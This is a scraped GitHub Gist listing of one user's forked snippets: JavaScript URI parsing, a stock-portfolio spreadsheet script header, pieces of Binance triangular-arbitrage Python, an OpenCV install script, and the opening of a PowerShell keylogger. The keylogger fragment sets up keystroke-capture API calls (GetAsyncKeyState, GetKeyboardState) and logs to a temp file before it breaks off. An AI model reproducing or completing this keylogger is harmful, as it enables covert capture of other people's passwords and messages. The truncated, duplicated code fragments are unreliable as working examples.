Skip to content

Instantly share code, notes, and snippets.

View AhmedSakrr's full-sized avatar
💻
Assembly | C/C++ | Rust | Ruby | Golang | Python | JS | Solidity Programmer.

Ahmed Sakr AhmedSakrr

💻
Assembly | C/C++ | Rust | Ruby | Golang | Python | JS | Solidity Programmer.
View GitHub Profile
@AhmedSakrr
AhmedSakrr / uri.js
Created May 29, 2022 15:21 — forked from jlong/uri.js
URI Parsing with Javascript
var parser = document.createElement('a');
parser.href = "http://example.com:3000/pathname/?search=test#hash";
parser.protocol; // => "http:"
parser.hostname; // => "example.com"
parser.port; // => "3000"
parser.pathname; // => "/pathname/"
parser.search; // => "?search=test"
parser.hash; // => "#hash"
parser.host; // => "example.com:3000"
/**
* Stock Portfolio Management App Script for Google Spreadsheet
*
* v0.1
*
* The script creates two sheets when your first run it. You can enter your transactions
* in the sheet named "Transactions", e.g. GOOG, 540.3, 100, Buy. Selecting "Update Stock Info"
* from Finance menu populates the summary sheet with a summary of your portfolio.
*
* Author: Jiayao Yu
INVESTMENT_AMOUNT_DOLLARS = 100
MIN_PROFIT_DOLLARS = 0.5
BROKERAGE_PER_TRANSACTION_PERCENT = 0.2
while(1):
for combination in wx_combinations_usdt:
base = combination['base']
intermediate = combination['intermediate']
ticker = combination['ticker']
def perform_triangular_arbitrage(scrip1, scrip2, scrip3, arbitrage_type,initial_investment,
transaction_brokerage, min_profit):
final_price = 0.0
if(arbitrage_type == 'BUY_BUY_SELL'):
# Check this combination for triangular arbitrage: scrip1 - BUY, scrip2 - BUY, scrip3 - SELL
final_price, scrip_prices = check_buy_buy_sell(scrip1, scrip2, scrip3,initial_investment)
elif(arbitrage_type == 'BUY_SELL_SELL'):
# Check this combination for triangular arbitrage: scrip1 - BUY, scrip2 - SELL, scrip3 - SELL
final_price, scrip_prices = check_buy_sell_sell(scrip1, scrip2, scrip3,initial_investment)
def main():
start_time = time()
csvfile = open('arbitrage', 'w', newline='', encoding='UTF8')
result_writer = csv.writer(csvfile, delimiter=',')
n = 0
while n < ITERATIONS:
n += 1
prices = get_prices()
from collections import defaultdict
from operator import itemgetter
from time import time
import config, csv
from binance.client import Client
FEE = 0.00075 # Binance VIP0 level spot-trade transaction fee for "Taker" (limit order)
ITERATIONS = 5000 # iterations to run
PRIMARY = ['ETH', 'USDT', 'BTC', 'BNB', 'ADA', 'SOL', 'LINK', 'LTC', 'UNI', 'XTZ']
FEE = 0.00075 # Binance VIP0 level spot-trade transaction fee for "Taker" (limit order)
ITERATIONS = 5000 # iterations to run
PRIMARY = ['ETH', 'USDT', 'BTC', 'BNB', 'ADA', 'SOL', 'LINK', 'LTC', 'UNI', 'XTZ']
def find_triangles(prices):
triangles = []
starting_coin = 'USDT'
for triangle in recurse_triangle(prices, starting_coin, starting_coin):
coins = set(triangle['coins'])
if not any(prev_triangle == coins for prev_triangle in triangles):
yield triangle
triangles.append(coins)
@AhmedSakrr
AhmedSakrr / gist:66cd6aa376cb54458d1d7d706f05b341
Created April 3, 2022 09:41 — forked from dasgoll/gist:7ca1c059dd3b3fbc7277
Simple Windows Keylogger using PowerShell
#requires -Version 2
function Start-KeyLogger($Path="$env:temp\keylogger.txt")
{
# Signatures for API Calls
$signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
# Forked by hand from https://raw.githubusercontent.com/milq/milq/master/scripts/bash/install-opencv.sh
# KEEP UBUNTU OR DEBIAN UP TO DATE
sudo apt-get -y update
sudo apt-get -y upgrade
sudo apt-get -y dist-upgrade
sudo apt-get -y autoremove
# INSTALL THE DEPENDENCIES